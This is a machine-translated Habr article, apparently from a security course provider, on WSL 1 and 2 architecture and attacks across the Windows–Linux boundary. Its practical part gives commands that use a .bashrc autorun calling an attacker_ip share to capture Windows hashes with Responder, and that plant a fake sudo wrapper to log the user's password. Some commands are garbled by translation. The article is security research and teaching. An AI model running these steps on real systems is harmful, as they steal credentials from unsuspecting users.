WSL eksperimentai. 1 dalis

Sveiki, habr! Spalio mėnesį OTUS pradeda naują kursų srautą "Linux sauga". Laukdami kursų pradžios, dalinamės su jumis vieno iš mūsų mokytojų Aleksandro Kolesnikovo straipsniu.

WSL eksperimentai. 1 dalis

2016 m. „Microsoft“ IT bendruomenei pristatė naują WSL technologiją (Windows Sposistemė, skirta Linux), kuri ateityje leido suvienyti iki tol nesutaikomus konkurentus, kurie kovojo dėl populiarumo tiek tarp paprastų, tiek tarp pažengusių OS vartotojų: Windows ir Linux. Ši technologija leido naudoti „Linux“ OS įrankius „Windows“ aplinkoje, nereikalaujant paleisti „Linux“, pavyzdžiui, naudojant „Multi-boot“. Habr galite rasti daugybę straipsnių, kuriuose aprašomi WSL naudojimo pranašumai. Tačiau, deja, šio straipsnio kūrimo metu tyrimų apie tokio operacinių sistemų simbiozės saugumą šiame šaltinyje nerasta. Šis įrašas bus bandymas tai ištaisyti. Straipsnyje bus kalbama apie WSL 1 ir 2 architektūros ypatybes ir nagrinėjami keli atakų prieš sistemas, naudojant šias technologijas, pavyzdžiai. Straipsnis padalintas į 2 dalis. Pirmajame bus pateikti pagrindiniai teoriniai atakos metodai iš Linux ir Windows. Antrasis straipsnis apims bandomosios aplinkos nustatymą ir atakų atkūrimą.

WSL 1: architektūros ypatybės

Norint tiksliau pasinerti į WSL saugumo problemas, būtina nustatyti pagrindinius niuansus, susijusius su posistemio įgyvendinimu. Viena iš pagrindinių WSL išspręstų vartotojo užduočių yra galimybė dirbti per Linux terminalą pagrindiniame kompiuteryje, kuriame veikia Windows OS. Be to, siūlomas suderinamumas buvo toks vietinis, kad „Linux“ vykdomuosius failus (ELF) buvo galima paleisti tiesiogiai „Windows“ sistemoje. Šiems tikslams pasiekti Windows 10 buvo sukurta speciali posistemė, leidžianti paleisti Linux programas naudojant konkrečių sistemos iškvietimų rinkinį – tokiu būdu buvo bandoma susieti Linux syscall rinkinį Windows sistemoje. Tai buvo fiziškai įgyvendinta pridedant naujas tvarkykles ir naują proceso formatą. Vizualiai architektūra atrodė taip:

WSL eksperimentai. 1 dalis

Tiesą sakant, sąveika su Linux operacine sistema buvo organizuota per kelis branduolio modulius ir specialų proceso tipą - pico. Iš aukščiau pateiktos diagramos matote, kad procesas, vykdomas pagrindinio kompiuterio Linux egzemplioriuje, turi būti vietinis ir naudoti tuos pačius išteklius kaip ir įprastos Windows programos. Bet kaip tai pasiekti? Projekte Pakeliamasis tiltas Buvo sukurtos „Windows“ procesų koncepcijos, kuriose buvo pateikti visi būtini operacinės sistemos komponentai (priklausomai nuo jos versijos), kad būtų galima paleisti kitos OS programą.

Atkreipkite dėmesį, kad siūloma abstrakcija leido nekreipti dėmesio į operacinę sistemą (ypač Windows), kurioje tikimasi paleisti kitos OS procesą, ir pasiūlė bendrą požiūrį.

Taigi bet kuri „pico“ proceso programa gali veikti neatsižvelgiant į „Windows“ branduolį:

  1. Sisteminių skambučių suderinamumo ir vertimo problemas turi spręsti specialūs tiekėjai;
  2. Prieigos kontrolė turi būti atliekama per saugos monitorių. Monitorius yra branduolyje, todėl „Windows“ reikėjo atnaujinti kaip naują tvarkyklę, kuri galėtų veikti kaip tokių procesų teikėja. Prototipo piko procesas schematiškai pateiktas žemiau:

WSL eksperimentai. 1 dalis

Kadangi „Linux“ failų sistemoje naudojami didžiosios ir mažosios raidės failų ir katalogų pavadinimai, prie „Windows“ buvo pridėtos 2 tipų failų sistemos, kurios veiktų su WSL – VolFS ir DriveFS. VolFS yra Linux failų sistemos įgyvendinimas, DriveFS yra failų sistema, kuri veikia pagal Windows taisykles, tačiau turi galimybę pasirinkti didžiųjų ir mažųjų raidžių jautrumą.

WSL 2

WSL 1 turėjo nemažai apribojimų, kurie neleido jo naudoti sprendžiant maksimalų užduočių spektrą: pavyzdžiui, jis neturėjo galimybės paleisti 32 bitų „Linux“ programų, nebuvo įmanoma naudoti įrenginių tvarkyklių. Todėl 2020 m. buvo išleistas WSL 2, kuris pakeitė požiūrį į posistemio kūrimą. WSL 2 yra optimizuota virtuali mašina, atitinkanti WSL 1 išteklių naudojimo charakteristikas. Dabar, priklausomai nuo Windows OS vartotojo išspręstų problemų, galite pasirinkti reikiamą Linux posistemio versiją. Siekiant sumažinti galimus pažeidžiamumus, WSL 2 buvo įdiegtas remiantis Hyper-V sistemoje Windows 10. Šioje formoje Windows turi galimybę paleisti Linux operacinės sistemos branduolį atskirai. Verta prisiminti, kad 1 WSL versija buvo pristatyta kaip beta funkcija, turėjusi parodyti Windows plėtros kryptį šioje srityje, todėl perėjimas prie Hyper-V buvo neišvengiamas. Galutinė architektūra atrodo taip:

WSL eksperimentai. 1 dalis

Šioje versijoje „Windows“ ir „Linux“ branduoliai turi savo išteklius, o sankirta egzistuoja tik failų sistemoje, tačiau ši sankirta nėra baigta. Sąveika tarp failų sistemų vykdoma per kliento-serverio įvyniotuvą, kuris veikia naudojant 9P protokolą.

Šiandien „Microsoft“ suteikia galimybę perjungti tarp WSL 1 ir WSL 2. Galima naudoti abi versijas.

WSL sauga

Šiuo metu yra keletas darbų, aprašančių kai kuriuos būdus, kaip naudoti teisėtus OS įrankius, siekiant atakuoti ryšį tarp posistemių. Mes naudosime jų scenarijus, kad patikrintume atakų tinkamumą rašant. Bendras atakų ir scenarijų sąrašas:

1. Failų sistemos įgyvendinimas: prieigos teisės, bendrų katalogų/duomenų mainų mechanizmų prieinamumas.

Buvo atliktas tyrimas siekiant nustatyti prieigos taisyklių pažeidimus nuo Linux FS->Windows FS, Windows FS->Linux FS. Tyrimai parodė galimybę modifikuoti nurodytą failą tikslinėje OS. Taip pat buvo bandoma pakeisti, sukurti dublikatus ir ištrinti dalį failų sistemų.

Scenarijus:

  • A. Ataka iš Windows operacinės sistemos – failų modifikavimas iš Linux OS katalogo /etc.
  • B. Ataka iš Linux operacinės sistemos – failų keitimas kataloguose: C:Windows, C:Program Files, C:Users<User>

2. Tinklo dėklo įgyvendinimas.

Tyrimas buvo atliktas naudojant atakų iš Linux operacinės sistemos Windows sistemoje pavyzdžius. Buvo naudojamos tinklo dėklo funkcijos, būtent įvairių išteklių autentifikavimo mechanizmai.

Scenarijus:

  • Prieigos prie prievado, kuris yra užimtas „Windows“ sistemoje, atidarymas
  • Prievado atidarymas be atitinkamų teisių
  • Paleisti atvirkštinį apvalkalą naudojant elf failą Windows operacinėje sistemoje.

3. Kenkėjiškos programinės įrangos procesų paleidimo slėpimas naudojant WSL posistemį.

Tyrimas buvo pagrįstas paprastu faktu – saugos posistemės negali perimti įvykių kitame branduolyje, kuris veikia naudojant teisėtą operacinės sistemos tiekėją WSL 1 atveju. WSL 2 atveju nėra galimybės peržiūrėti įvykusių įvykių. atskirame branduolyje lengvoje virtualioje mašinoje.

Scenarijus:

1) Paleiskite programą nuotolinei prieigai prie sistemos ir peržiūrėkite užregistruotus įvykius.

WSL 1 eksperimentai: maišos perėmimas („Windows“)

Galiausiai priėjome prie praktinės dalies. Pirmiausia turite nustatyti bandymo aplinką. Visi eksperimentai bus atliekami ant stendo su įdiegta Windows 10 2004. Ubuntu 18.04 vaizdas buvo pasirinktas kaip WSL operacinės sistemos vaizdas. Vaizdas buvo pasirinktas atsitiktinai, bet kuris kitas veiks taip pat. Stovo įrengimo komandos:

Pirmiausia turite paleisti powershell.exe kaip administratorius.

WSL 1 turite paleisti komandas:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Iš naujo paleidę stovą, galite iškviesti komandą bash. Jei viskas veikė teisingai, „Windows“ konsolėje pamatysite panašią išvestį:

    WSL eksperimentai. 1 dalis

    Mes naudosime Kali Linux paskirstymą kaip užpuoliko įrenginį; visi įrenginiai turi būti tame pačiame vietiniame tinkle.

    Tarkime, kad turime neprivilegijuotą prieigą prie WSL Windows kompiuteryje. Pabandykime atakuoti Linux operacinę sistemą iškviesdami komandą iš Linux. Atakai įgyvendinti naudosime paprastą autorun techniką – pridėsime savo scenarijų vykdymui Linux aplinkoje. Norėdami tai padaryti, turite pakeisti failą .bashrc.

    Įrenginyje su WSL vykdome:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Kali Linux mašinoje vykdome:

    1. Responder -I eth0 -rdvw

    „Windows“ kompiuteryje paleiskite „bash“.

    Laukiame rezultato Kali Linux kompiuteryje:

    WSL eksperimentai. 1 dalis

    Taigi, mes gavome Windows vartotojo maišą per WSL posistemį, vykdydami komandą Linux sistemoje.

    WSL 1 eksperimentai: vartotojo slaptažodžio gavimas („Linux OS“)

    Padarykime dar vieną eksperimentą. Šios patikros metu mes papildysime failą .bashrc kelios komandos, kad gautumėte Linux operacinės sistemos vartotojo slaptažodį.

    Paleiskite bash ir įveskite komandas:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Kad sėkmingai užbaigtų ataką, vartotojas Samas turi iškviesti sudo Linux terminale. Po to faile bus Linux OS vartotojo slaptažodis pass.txt:

    WSL eksperimentai. 1 dalis

    Išpuolių įgyvendinimas buvo pateiktas tik teorinei informacijai.

    Kitoje straipsnio dalyje bus aprašytas 9P protokolo įgyvendinimas, apsvarstyta galimybė sukurti šio protokolo skaitytuvą, taip pat atlikti ataką naudojant jį.

    Naudotos literatūros sąrašas

    WSL eksperimentai. 1 dalis

    Skaityti daugiau

    Šaltinis: www.habr.com

    Добавить комментарий